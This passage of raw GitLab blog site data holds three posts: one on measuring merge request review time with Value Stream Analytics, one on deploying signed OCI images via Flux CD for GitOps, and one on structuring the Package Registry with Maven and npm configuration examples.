and more!",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662202/Blog/Hero%20Images/product-gl17-blog-release-cover-17-9-0093-1800x945-fy25.png","https://about.gitlab.com/blog/gitlab-17-9-released","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 17.9 released\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rutvik Shah\"}],\n        \"datePublished\": \"2025-02-20\",\n      }",{"title":2456,"description":2457,"authors":2463,"heroImage":2459,"date":2465,"body":2466,"category":695,"tags":2467},[2464],"Rutvik Shah","2025-02-20","This is the blog post for the [GitLab 17.9 release](https://about.gitlab.com/releases/2025/02/20/gitlab-17-9-released/).",[774],{"slug":2469,"featured":92,"template":678,"externalUrl":2470},"gitlab-17-9-released","https://about.gitlab.com/releases/2025/02/20/gitlab-17-9-released/","content:en-us:blog:gitlab-17-9-released.yml","Gitlab 17 9 Released","en-us/blog/gitlab-17-9-released.yml","en-us/blog/gitlab-17-9-released",{"_path":2476,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2477,"content":2483,"config":2489,"_id":2491,"_type":16,"title":2492,"_source":17,"_file":2493,"_stem":2494,"_extension":20},"/en-us/blog/how-we-reduced-mr-review-time-with-value-stream-management",{"title":2478,"description":2479,"ogTitle":2478,"ogDescription":2479,"noIndex":6,"ogImage":2480,"ogUrl":2481,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2481,"schema":2482},"How we reduced MR review time with Value Stream Management ","The GitLab engineering team leverages VSM to pinpoint bottlenecks in the merge request review process and streamline software delivery. See how we do it and what we've learned.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097876/Blog/Hero%20Images/Blog/Hero%20Images/REFERENCE%20-%20display%20preview%20for%20blog%20images%20%282%29_2pKf8RsKzAaThmQfqHIaa7_1750097875817.png","https://about.gitlab.com/blog/how-we-reduced-mr-review-time-with-value-stream-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we reduced MR review time with Value Stream Management \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Haim Snir\"}],\n        \"datePublished\": \"2025-02-20\",\n      }",{"title":2478,"description":2479,"authors":2484,"heroImage":2480,"date":2465,"body":2486,"category":734,"tags":2487},[2485],"Haim Snir","At GitLab, we're passionate about using our own products internally, a.k.a. dogfooding. Dogfooding has led to significant improvements in accelerating our software delivery cycle time for customers. This article spotlights a specific use case where [GitLab Value Stream Management (VSM)](https://about.gitlab.com/solutions/value-stream-management/) has driven significant improvements for our engineering team. You'll learn how VSM helped us tackle two critical challenges: measuring the journey from idea conception to merge request completion, and streamlining our deployment workflows.\n\n## The Challenge: Identifying bottlenecks in MR reviews\n\nDespite having well-defined workflows, one team noticed that MRs were taking longer than expected to be reviewed and merged. The challenge wasn’t just about the delays themselves, but about understanding *where* in the review process these delays were happening and *why*.\n\nOur team’s goal was clear:\n\n- Identify where time was being spent from the initial idea to the final merge of an MR.  \n- Pinpoint specific bottlenecks in the review process.  \n- Understand how MR size, complexity, or documentation quality affect review time.\n\n## The Approach: Measures the MR review time in GitLab Value Stream Analytics\n\nValue Stream Analytics (VSA) enables organizations to map their entire workflow from idea to delivery, distinguishing between value-adding activities (VA) and non-value-adding activities (NVA) in the process flow. By calculating the ratio of value-added time to total lead time, the team can identify wasteful activities resulting in delays in MR reviews.\n\nTo obtain the necessary metrics, the team customized GitLab VSA to gain better visibility into our MR review process.\n\n### 1. Setting up a custom stage for MR review\n\nThe team added a [new custom stage](https://docs.gitlab.com/ee/user/group/value_stream_analytics/#value-stream-stage-events) in VSA called **Review Time to Merge** to specifically track the time from when a reviewer was first assigned to when the MR was merged.\n\n* Start event: MR first reviewer assigned  \n* End event: MR merged\n\nBy defining this stage, VSA began measuring the duration of the MR review process, giving us precise data on where time was being spent.\n\n![Defining stage of VSA](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097884/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097883929.png)\n\n### 2. Using the Total Time Chart for clarity\n\nWith the custom stage in place, the team used the [**Total Time Chart** on the VSA Overview page](https://about.gitlab.com/blog/value-stream-total-time-chart/) (**Analyze > Value Stream**) to visualize how much time was spent during the new MR Review stage. By comparing the values represented by each area on the chart, the team could quickly identify how this stage contributed to the total software delivery lifecycle (SDLC) time.\n\n![total time chart for VSA](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097884/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097883930.png)\n\n### 3. Drilling down for deeper insights\n\nTo investigate specific delays, the team used the **Stage Navigation Bar** to dive deeper into the MR Review stage. This view allowed them to:\n\n- Sort MRs by review time: The stage table showed all related MRs, sorted by review duration, making it easy to detect slow MRs.  \n- Analyze individual MRs: For each MR, that team could examine factors such as reviewer assignment delays, multiple rounds of feedback, idle time after approval, and MR size/complexity.\n\n## The outcome: Actionable insights and improvements\n\nBy customizing VSA to track [MR review time](https://docs.gitlab.com/user/project/merge_requests/reviews/), the team uncovered several key insights:\n\n- **Delays in reviewer assignment:** Some MRs experienced delays because reviewers were assigned late, or reviewers had too many MRs in their queue.  \n- **Slow review start times:** Even after assignment, certain MRs sat idle before reviews began, often due to context switching or competing priorities.  \n- **Multiple feedback loops:** Larger MRs often required multiple rounds of feedback, which extended review time significantly.  \n- **Idle time post-approval:** Some MRs were approved but not merged promptly, often due to deployment coordination issues.\n\nFor the engineering manager on the team, VSA proved to be transformational/valuable in managing their team's workflow: *\"I've used the VSA to justify where we were spending time in MR completion. We have VSA customized to our needs, and it's been very beneficial to our investigations for opportunities for improvements.”* \n\nAlso, from this dogfooding experience, we’re now developing a key enhancement to improve visibility into the review process. We're adding a new event to VSA — [Merge request last approved at](https://gitlab.com/gitlab-org/gitlab/-/issues/503754) — which creates a stage that breaks down MR review steps even further for granular visibility.\n\n## The power of data-driven decisions\n\nBy leveraging GitLab’s VSA, we didn’t just identify bottlenecks – we gained actionable insights that led to measurable improvements in MR review time and overall developer productivity. We optimized merge request review cycles and increased developer throughput, validating our commitment to continuous improvement through measurement.\n\n> Want to learn more about how VSA can help your team? [Start a free, 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/), customize your value streams, and see how you can make improvements throughout the SDLC for your teams. Then, make sure to [share your feedback and experiences in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/520962).\n\n## Read more\n\n- [Optimize value stream efficiency to do more with less, faster](https://about.gitlab.com/the-source/platform/optimize-value-stream-efficiency-to-do-more-with-less-faster/)\n- [New Scheduled Reports Generation tool simplifies value stream management](https://about.gitlab.com/blog/new-scheduled-reports-generation-tool-simplifies-value-stream-management/)\n- [Value stream analytics documentation](https://docs.gitlab.com/user/group/value_stream_analytics/)\n- [Value stream management: Total Time Chart simplifies top-down optimization flow](https://about.gitlab.com/blog/value-stream-total-time-chart/)\n",[695,754,479,1444,2488],"solutions architecture",{"slug":2490,"featured":6,"template":678},"how-we-reduced-mr-review-time-with-value-stream-management","content:en-us:blog:how-we-reduced-mr-review-time-with-value-stream-management.yml","How We Reduced Mr Review Time With Value Stream Management","en-us/blog/how-we-reduced-mr-review-time-with-value-stream-management.yml","en-us/blog/how-we-reduced-mr-review-time-with-value-stream-management",{"_path":2496,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2497,"content":2503,"config":2510,"_id":2512,"_type":16,"title":2513,"_source":17,"_file":2514,"_stem":2515,"_extension":20},"/en-us/blog/how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery",{"title":2498,"description":2499,"ogTitle":2498,"ogDescription":2499,"noIndex":6,"ogImage":2500,"ogUrl":2501,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2501,"schema":2502},"How to use OCI images as the source of truth for continuous delivery","Discover the benefits of using Open Container Initiative images as part of GitOps workflows and the many features GitLab offers to simplify deployments to Kubernetes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097601/Blog/Hero%20Images/Blog/Hero%20Images/REFERENCE%20-%20Use%20this%20page%20as%20a%20reference%20for%20thumbnail%20sizes_76Tn5jFmEHY5LFj8RdDjNY_1750097600692.png","https://about.gitlab.com/blog/how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use OCI images as the source of truth for continuous delivery\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Daniel Helfand\"}],\n        \"datePublished\": \"2025-02-19\",\n      }",{"title":2498,"description":2499,"authors":2504,"heroImage":2500,"date":2506,"body":2507,"category":813,"tags":2508},[2505],"Daniel Helfand","2025-02-19","Is [GitOps](https://about.gitlab.com/topics/gitops/) still GitOps if you are not using a git repository as your deployment artifact? While git remains central to GitOps workflows, storing infrastructure definitions as Open Container Initiative (OCI) artifacts in container registries has seen a rise in adoption as the source for GitOps deployments. In this article, we will dive deeper into the ideas behind this trend and how GitLab features support this enhancement to GitOps workflows.\n\n## What is GitOps?\n\nThe [OpenGitOps](https://opengitops.dev/) project has defined [four principles](https://opengitops.dev/#principles) for the practice of GitOps:\n- A [system managed by GitOps](https://github.com/open-gitops/documents/blob/v1.0.0/GLOSSARY.md#software-system) must have its [desired state expressed declaratively](https://github.com/open-gitops/documents/blob/v1.0.0/GLOSSARY.md#declarative-description).\n- Desired state is stored in a way that enforces immutability and versioning, and retains a complete version history.\n- Software agents automatically pull the desired state declarations from the source.\n- Software agents [continuously](https://github.com/open-gitops/documents/blob/v1.0.0/GLOSSARY.md#continuous) observe actual system state and [attempt to apply the desired state](https://github.com/open-gitops/documents/blob/v1.0.0/GLOSSARY.md#reconciliation).\n\nAn example of GitOps is storing the Kubernetes manifests for a microservice in a GitLab project. Those Kubernetes resources are then continuously reconciled by a [controller](https://kubernetes.io/docs/concepts/architecture/controller/) running on the Kubernetes cluster where the microservice is deployed to. This allows engineers to manage infrastructure using the same workflows as working with regular code, such as opening merge requests to make and review changes and versioning changes. GitOps also has operational benefits such as [preventing configuration drift](https://about.gitlab.com/topics/gitops/#cicd) and helps engineers audit what changes led to certain outcomes with deployments.\n\n## Benefits and limitations of git in GitOps workflows\n\nWhile git is an essential piece of GitOps workflows, git repositories were not designed to be deployed by GitOps controllers. Git does provide the ability for engineers to collaborate on infrastructure changes and audit these changes later on, but controllers do not need to download an entire git repository for a successful deployment. GitOps controllers simply need the infrastructure defined for a particular environment.\n\nAdditionally, an important piece of the deployment process is to [sign and verify deployments](https://docs.sigstore.dev/about/overview/#why-cryptographic-signing) to assure deployment changes to an environment are coming from a trusted source. While git commits can be signed and verified by GitOps controllers, commits may also capture other details not related to the deployment itself (e.g., documentation changes, updates to other environments, and git repository restructuring) or not enough of the deployment picture as a deployment may consist of multiple commits. This again feels like a case this git feature wasn’t designed for.\n\nAnother challenging aspect of git in GitOps workflows is that it can sometimes lead to more automation than expected. Soon after merging a change to the watched branch, it will be deployed. There are no controls in the process outside of git. How can you make sure that nothing gets deployed on a Friday late afternoon? What if teams responsible for deployment do not have permissions to merge changes in certain GitLab projects? Using OCI images adds a pipeline into the process, including all the delivery control features, like [approvals or deploy freezes](https://docs.gitlab.com/ee/ci/environments/protected_environments.html).\n\n## OCI images\n\nThe [Open Container Initiative](https://opencontainers.org/) has helped to define standards around container formats. While most engineers are familiar with building Dockerfiles into container images, many may not be as familiar with storing Kubernetes manifests in a container registry. Because [GitLab’s Container Registry](https://docs.gitlab.com/ee/user/packages/container_registry/) is OCI compliant, it allows for users to push Kubernetes manifests for a particular environment to a container registry. GitOps controllers, such as [Flux CD](https://about.gitlab.com/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab/), can use the manifests stored in this OCI artifact instead of needing to clone an entire git repository.\n\nOften in GitOps workflows, a git repository can include the infrastructure definitions for all environments that a microservice will be deployed to. By packaging the Kubernetes manifests for only a specific environment, Flux CD can download the minimum files needed to carry out a deployment to a specific environment.\n\n### Security benefits of using OCI artifacts\n\nAs mentioned previously, signing and verifying the artifacts to be deployed to an environment adds an additional layer of security for software projects. After Kubernetes manifests are pushed to a container registry, a tool like [Sigstore Cosign](https://docs.sigstore.dev/quickstart/quickstart-cosign/) can be used to sign the OCI image with a private key that can be securely stored in a GitLab project as a [CI/CD variable](https://docs.gitlab.com/ee/ci/variables/). Flux CD can then use a public key stored on a Kubernetes cluster to verify that a deployment is coming from a trusted source.\n\n## Using GitLab to push and sign OCI images\n\nGitLab offers many features that help simplify the process of packaging, signing, and deploying OCI images. A common way to structure GitLab projects with GitOps workflows is to have separate GitLab projects for microservices’ code and a single infrastructure repository for all microservices. If an application is composed of `n` microservices, this would require having `n +1` GitLab projects for an application.\n\nThe artifact produced by a code project is usually a container image that will be used to package the application. The infrastructure or delivery project will contain the Kubernetes manifests defining all the resources required to scale and serve traffic to each microservice. The artifact produced by this project is usually an OCI image used to deploy the application and other manifests to Kubernetes.\n\nIn this setup, separation of environments is handled by defining Kubernetes manifests in separate folders. These folders represent environments (e.g., development, staging, and production) that will host the application. When changes are made to the code project and a new container image is pushed, all that needs to be done to deploy these changes via GitLab’s integration with Flux CD is to edit the manifests under the environment folder to include the new image reference and open a merge request. Once that merge request is reviewed, approved, and merged, the delivery project’s CI/CD job will push a new OCI image that Flux CD will pick up and deploy to the new environment.\n\n![OCI images - flow chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097611/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097611046.png)\n\nSigning an OCI image is as simple as including Cosign in your project’s CI/CD job. You can simply generate a new public and private key with Cosign by running the commands below locally. Just make sure to log in to your GitLab instance with the [glab CLI](https://gitlab.com/gitlab-org/cli/#installation) and replace the [`PROJECT_ID`] for the Cosign command with your [delivery project’s ID](https://docs.gitlab.com/ee/user/project/working_with_projects.html#access-a-project-by-using-the-project-id).\n\n```\nglab auth login\ncosign generate-key-pair gitlab://[PROJECT_ID]\n```\n\nOnce the cosign command runs successfully, you can see the Cosign keys added to your project under the CI/CD variables section under the key names `COSIGN_PUBLIC_KEY` and `COSIGN_PRIVATE_KEY`.\n\n### Example CI/CD job\n\nA GitLab CI/CD job for pushing an OCI image will look something like the following:\n\n```yaml\nfrontend-deploy:\n  rules:\n  - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    changes:\n      paths:\n      - manifests/dev/frontend-dev.yaml\n  trigger:\n    include:\n      - component: gitlab.com/components/fluxcd/oci-artifact@0.3.1\n        inputs:\n          version: 0.3.1\n          kubernetes_agent_reference: gitlab-da/projects/tanuki-bank/flux-config:dev\n          registry_image_url: \"oci://$CI_REGISTRY_IMAGE/frontend\"\n          image_tag: dev\n          manifest_path: ./manifests/dev/frontend-dev.yaml\n          flux_oci_repo_name: frontend\n          flux_oci_namespace_name: frontend-dev\n          signing_private_key: \"$COSIGN_PRIVATE_KEY\"\n```\n\nThe [GitLab CI/CD Catalog](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) offers a GitLab-maintained [CI/CD component for working with OCI artifacts and Flux CD](https://gitlab.com/explore/catalog/components/fluxcd). This component allows development teams to push Kubernetes manifests as OCI images to GitLab’s Container Registry or an external container registry, sign the OCI image using Cosign, and immediately reconcile the newly pushed image via Flux CD.\n\nIn the example above, the Flux CD `component` is included in a `.gitlab-ci.yml` file of a GitLab project. Using the component’s `inputs`, users can define what registry to push the image to (i.e., `registry_image_url` and `image tag`), the file path to Kubernetes manifests that will be pushed (i.e., `manifest_path`), the cosign private key used to sign images (i.e., `signing_private_key`), and the Kubernetes namespace and Flux CD [OCIRepository](https://fluxcd.io/flux/components/source/ocirepositories/) name needed to sync updates to an environment (i.e., `flux_oci_namespace_name` and `flux_oci_repo_name`).\n\nThe `kubernetes_agent_reference` allows GitLab CI/CD jobs to inherit the `kubeconfig` needed to access a Kubernetes cluster without needing to store a `kubeconfig` CI/CD variable in each GitLab project. By setting up the [GitLab agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/), you can configure all GitLab projects’ CI/CD jobs in a [GitLab group](https://docs.gitlab.com/ee/user/group/) to inherit permissions to deploy to the Kubernetes cluster.\n\nThe agent for Kubernetes context is typically configured wherever you configure the GitLab Agent for Kubernetes in your GitLab group. It is typically recommended that this be done in the project where Flux CD is managed. More information on configuring the agent for CI/CD access can be found in our [CI/CD workflow documentation](https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_workflow.html).\n\nThe variables `$COSIGN_PRIVATE_KEY`, `$FLUX_OCI_REPO_NAME`, and `$FRONTEND_DEV_NAMESPACE` are values stored as CI/CD variables to easily access and mask these sensitive pieces of data in CI/CD logs. The `$CI_REGISTRY_IMAGE` is a variable that GitLab jobs have available by default that specifies the GitLab project’s container registry.\n\n### Deploy OCI images\n\nUsing [Flux CD with your GitLab projects](https://docs.gitlab.com/ee/user/clusters/agent/gitops/flux_tutorial.html), you can automate deployments and signing verification for your microservice’s environments. Once Flux CD is configured to sync from a GitLab project, you could add the following Kubernetes [custom resource definitions](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/) to your project to sync your pushed OCI image.\n\n```yaml\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: frontend-dev\n  labels:\n    name: frontend-dev\n---\napiVersion: bitnami.com/v1alpha1\nkind: SealedSecret\nmetadata:\n  name: cosign-public-key\n  namespace: frontend-dev\nspec:\n  encryptedData:\n    cosign.pub: AgAKgLf4VbVzJOmr6++k81LlFayx88AELaUQFNOaXmBF4G+fBfBYeABl0skNvMAa1UrPVNSfMIHgFoYHoO96g576a+epk6V6glOI+++XvYbfsygof3GGxe0nL5Qh2b3ge0fNpyd0kTPSjTj0YUhRhKtMGMRSRw1jrwhNcGxCHK+Byibs52v8Np49KsIkeZKbzLdgYABkrv+k0j7hQM+jR180NpG+2UiRvaXpPuogxkbj61FEqWGrJHk8IVyfl3eh+YhoXxOHGDqko6SUC+bUZPDBlU6yKegO0/8Zq3hwulrSEsEjzRZNK+RFVMOLWWuC6h+WGpYhAMcsZPwjjJ/y29KLNa/YeqkN/cdk488QyEFc6ehCxzhH67HxIn2PDa+KkEOTv2TuycGF+Q00jKIizXF+IwLx/oRb3pTCF0AoAY8D8N3Ey+KfkOjsBON7gGID8GbQiJqX2IgIZxFMk0JRzxbRKOEqn+guLd5Shj7CD1a1Mkk0DxBdbqrGv2XNYUaFPI7xd3rZXUJZlnv+fsmwswsiGWRuXwim45HScWzQnfgLAe7tv3spVEGeaO5apl6d89uN21PBQnfE/zyugB//7ZW9tSp6+CSMyc5HynxI8diafqiwKPgvzLmVWRnkvxJijoXicRr3sCo5RudZPSlnjfd7CKdhwEVvLl7dRR4e/XBMdxCzk1p52Pl+3/kJR+LJii5+iwOpYrpVltSZdzc/3qRd19yMpc9PWpXYi7HxTb24EOQ25i21eDJY1ceplDN6bRtop2quzkjlwVeE2i4cEsX/YG8QBtQbop/3fjiAjKaED3QH3Ul0PECS9ARTScSkcOL3I00Xpp8DyD+xH0/i9wCBRDmH3yKX18C8VrMq02ALSnlP7WCVVjCPzubqKx2LPZRxK9EG0fylwv/vWQzTUUwfbPQZsd4c75bSTsTvxqp/UcFaXA==\n  template:\n    metadata:\n      name: cosign-public-key\n      namespace: frontend-dev\n---\napiVersion: source.toolkit.fluxcd.io/v1beta2\nkind: OCIRepository\nmetadata:\n    name: frontend\n    namespace: frontend-dev\nspec:\n    interval: 1m\n    url: oci://registry.gitlab.com/gitlab-da/projects/tanuki-bank/tanuki-bank-delivery/frontend\n    ref:\n        tag: dev\n    verify:\n      provider: cosign\n      secretRef:\n        name: cosign-public-key\n---\napiVersion: kustomize.toolkit.fluxcd.io/v1\nkind: Kustomization\nmetadata:\n    name: frontend\n    namespace: frontend-dev\nspec:\n    interval: 1m\n    targetNamespace: frontend-dev\n    path: \".\"\n    sourceRef:\n        kind: OCIRepository\n        name: frontend\n    prune: true\n```\n\nThe [`Kustomization`](https://fluxcd.io/flux/components/kustomize/kustomizations/) resource allows for further customization of Kubernetes manifests and also specifies which namespace to deploy resources to. The `OCIRepository` resource for Flux CD allows users to specify the OCI image repository reference and tag to regularly sync from. Additionally, you will notice the `verify.provider` and `verify.secretRef` properties. These fields allow you to verify that the OCI image deployed to the cluster was signed by the corresponding Cosign private key used in the earlier CI/CD job.\n\nThe public key needs to be stored in a [Kubernetes secret](https://kubernetes.io/docs/concepts/configuration/secret/) that will need to be present in the same namespace as the `OCIRepository` resource. To have this secret managed by Flux CD and not store the secret in plain text, you can consider using [SealedSecrets](https://fluxcd.io/flux/guides/sealed-secrets/) to encrypt the value and have it be decrypted cluster side by a controller.\n\nFor a simpler approach not requiring SealedSecrets, you can [deploy the secret via a GitLab CI/CD](https://docs.gitlab.com/ee/user/clusters/agent/getting_started_deployments.html) job using the [`kubectl CLI`](https://kubernetes.io/docs/reference/kubectl/). In the non-sealed secret approach, you would simply remove the SealedSecret included above and run the job to deploy the public key secret before running the job to push the new OCI image. This will make sure the secret is stored securely in GitLab and make sure the secret can be accessed on the cluster by the OCIRepository. While this approach is a bit simpler, just note this is not a suitable approach for managing secrets in production.\n\n## The benefits of OCI, GitLab, and GitOps\n\nOCI artifacts allow for GitOps teams to take deployments even further with added security benefits and allowing for deployments to be minimal. Users still gain all the benefits offered by git as far as having a source of truth for infrastructure and collaborating on projects. OCI images add a packaging approach that improves the deployment aspect of GitOps.\n\nGitLab continues to learn from our customers and the cloud native community on building experiences that help simplify GitOps workflows. To get started using some of the features mentioned in this blog, you can sign up for a [60-day free trial of GitLab Ultimate](https://about.gitlab.com/free-trial/). We would also love to hear from users about their experiences with these tools, and you can provide feedback in the [community forum](https://forum.gitlab.com/t/oci-images-as-source-of-truth-for-gitops-with-gitlab/120965).\n",[110,815,2509,534,1067,696],"kubernetes",{"slug":2511,"featured":6,"template":678},"how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery","content:en-us:blog:how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery.yml","How To Use Oci Images As The Source Of Truth For Continuous Delivery","en-us/blog/how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery.yml","en-us/blog/how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery",{"_path":2517,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2518,"content":2524,"config":2528,"_id":2530,"_type":16,"title":2531,"_source":17,"_file":2532,"_stem":2533,"_extension":20},"/en-us/blog/structuring-the-gitlab-package-registry-for-enterprise-scale",{"title":2519,"description":2520,"ogTitle":2519,"ogDescription":2520,"noIndex":6,"ogImage":2521,"ogUrl":2522,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2522,"schema":2523},"Structuring the GitLab Package Registry for enterprise scale","Learn how to leverage GitLab's unique project-based publishing model alongside root-group-level consumption to create a secure, flexible package management strategy.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662332/Blog/Hero%20Images/blog-image-template-1800x945__23_.png","https://about.gitlab.com/blog/structuring-the-gitlab-package-registry-for-enterprise-scale","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Structuring the GitLab Package Registry for enterprise scale\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-02-19\",\n      }",{"title":2519,"description":2520,"authors":2525,"heroImage":2521,"date":2506,"body":2526,"category":695,"tags":2527},[1125],"As organizations grow, managing internal packages becomes increasingly complex. While traditional package managers, like JFrog Artifactory and Sonatype Nexus, use a centralized repository approach, GitLab takes a different path that aligns with modern development teams' work. In this post, we'll explore how to effectively structure your GitLab Package Registry for enterprise scale, focusing on Maven and npm packages as examples.\n\n## Understanding the GitLab Package Registry model\n\nIf you're coming from a traditional package manager, GitLab's approach might initially seem different. Instead of a single centralized repository, GitLab integrates package management directly into your existing project and group structure. This means:\n\n- Teams publish packages to specific projects where the code lives\n- Teams consume packages from root group registries that aggregate all packages below them\n- Access control inherits from your existing GitLab permissions\n\nThis model offers several advantages:\n\n- Clear ownership of packages alongside their source code\n- Granular access control without additional configuration\n- Simplified CI/CD integration\n- Natural alignment with team structures\n- Single URL for accessing all company packages through root group consumption\n\n### The power of root group package registry\n\nWhile GitLab supports package consumption at various group levels, using the root group level has emerged as a best practice among our users. Here's why:\n\n- **Single access point:** One URL provides access to all private packages across your organization\n- **Consistent package naming:** Group-level endpoints allow teams to maintain their preferred naming conventions without conflicts\n- **Simplified configuration:** All developers can use the same configuration to access packages\n- **Secure access management:** Combines with deploy tokens for easy rotation and access control\n- **Hierarchical organization**: Naturally maps to your organizational structure while maintaining unified access\n\n## Real-world example: Enterprise structure\n\nLet's look at how this works in practice with a large enterprise:\n\n```\ncompany/ (root group)\n├── retail-division/\n│   ├── shared-libraries/     # Division-specific shared code\n│   └── teams/\n│       ├── checkout/        # Team publishes packages here\n│       └── inventory/       # Team publishes packages here\n├── banking-division/\n│   ├── shared-libraries/    # Division-specific shared code\n│   └── teams/\n│       ├── payments/       # Team publishes packages here\n│       └── fraud/         # Team publishes packages here\n└── shared-platform/        # Enterprise-wide shared code\n    ├── java-commons/      # Shared Java libraries\n    └── ui-components/     # Shared UI components\n```\n\n### Publishing configuration\n\nTeams publish packages to their specific project registries, maintaining clear ownership:\n\n1. Maven example\n\n```xml\n\u003C!-- checkout/pom.xml -->\n\u003CdistributionManagement>\n    \u003Crepository>\n        \u003Cid>gitlab-maven\u003C/id>\n        \u003Curl>${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/maven\u003C/url>\n    \u003C/repository>\n\u003C/distributionManagement>\n```\n\n2. npm example\n\n```json\n// ui-components/package.json\n{\n  \"name\": \"@company/ui-components\",\n  \"publishConfig\": {\n    \"registry\": \"${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/npm/\"\n  }\n}\n```\n\n### Consuming configuration\n\nThe power of root group consumption comes into play here. All teams configure a single endpoint for package access:\n\n1. Maven example\n\n```xml\n\u003C!-- Any project's pom.xml -->\n\u003Crepositories>\n    \u003Crepository>\n        \u003Cid>gitlab-maven\u003C/id>\n        \u003Curl>https://gitlab.example.com/api/v4/groups/company/-/packages/maven\u003C/url>\n    \u003C/repository>\n\u003C/repositories>\n```\n\n2. npm example\n\n```\n# Any project's .npmrc\n@company:registry=https://gitlab.example.com/api/v4/groups/company/-/packages/npm/\n```\n\nThis configuration automatically provides access to all packages across your organization while maintaining the benefits of project-based publishing.\n\n## Authentication and access control\n\nGitLab's model simplifies authentication through deploy tokens and CI/CD integration.\n\n### For CI/CD pipelines\n\nGitLab automatically handles authentication in pipelines using `CI_JOB_TOKEN`:\n\n```yaml\n# .gitlab-ci.yml\npublish:\n  script:\n    - mvn deploy  # or npm publish\n  # CI_JOB_TOKEN provides automatic authentication\n```\n\n### For development\n\nUse group deploy tokens for package consumption:\n\n- Create read-only deploy tokens at the root group level\n- Rotate tokens periodically for security\n- Share a single configuration across all developers\n\n## Benefits of root group package registry\n\n1. Simplified configuration\n   - One URL for all package access\n   - Consistent setup across teams\n   - Easy token rotation\n2. Clear ownership\n   - Packages stay with their source code\n   - Teams maintain control over publishing\n   - Version history tied to project activity\n3. Natural organization\n   - Matches your company structure\n   - Supports team autonomy\n   - Enables cross-team collaboration\n\n## Getting started\n\n1. Set up your root group\n   - Create a clear group structure\n   - Configure appropriate access controls\n   - Create group deploy tokens\n2. Configure team projects\n   - Set up project-level publishing\n   - Implement CI/CD pipelines\n   - Document package naming conventions\n3. Standardize consumption\n   - Configure root group registry access\n   - Share deploy tokens securely\n   - Document package discovery process\n\n## Summary\n\nGitLab's package registry model, particularly when leveraging root group consumption, offers a powerful solution for enterprise package management. By combining project-based publishing with root group consumption, organizations get the best of both worlds: clear ownership and simplified access. This approach scales naturally with your organization while maintaining security and ease of use.\n\nStart by implementing this model with a single team or division, and expand as you see the benefits of this integrated approach. Remember that while this post focused on Maven and npm, the same principles apply to all package types supported by GitLab.\n\n> Get started with package registries today! Sign up for a [free, 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).\n",[943,696,2488],{"slug":2529,"featured":92,"template":678},"structuring-the-gitlab-package-registry-for-enterprise-scale","content:en-us:blog:structuring-the-gitlab-package-registry-for-enterprise-scale.yml","Structuring The Gitlab Package Registry For Enterprise Scale","en-us/blog/structuring-the-gitlab-package-registry-for-enterprise-scale.yml","en-us/blog/structuring-the-gitlab-package-registry-for-enterprise-scale",{"_path":2535,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2536,"content":2542,"config":2548,"_id":2550,"_type":16,"title":2551,"_source":17,"_file":2552,"_stem":2553,"_extension":20},"/en-us/blog/certificate-based-kubernetes-integration-sunsetting-on-gitlab-com",{"title":2537,"description":2538,"ogTitle":2537,"ogDescription":2538,"noIndex":6,"ogImage":2539,"ogUrl":2540,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2540,"schema":2541},"Certificate-based Kubernetes integration sunsetting on GitLab.com","Learn how to check if you are impacted by the sunsetting in May 2026 and the steps needed to migrate to our proposed alternatives, including the GitLab agent for Kubernetes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662245/Blog/Hero%20Images/blog-image-template-1800x945__16_.png","https://about.gitlab.com/blog/certificate-based-kubernetes-integration-sunsetting-on-gitlab-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Certificate-based Kubernetes integration sunsetting on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2025-02-17\",\n      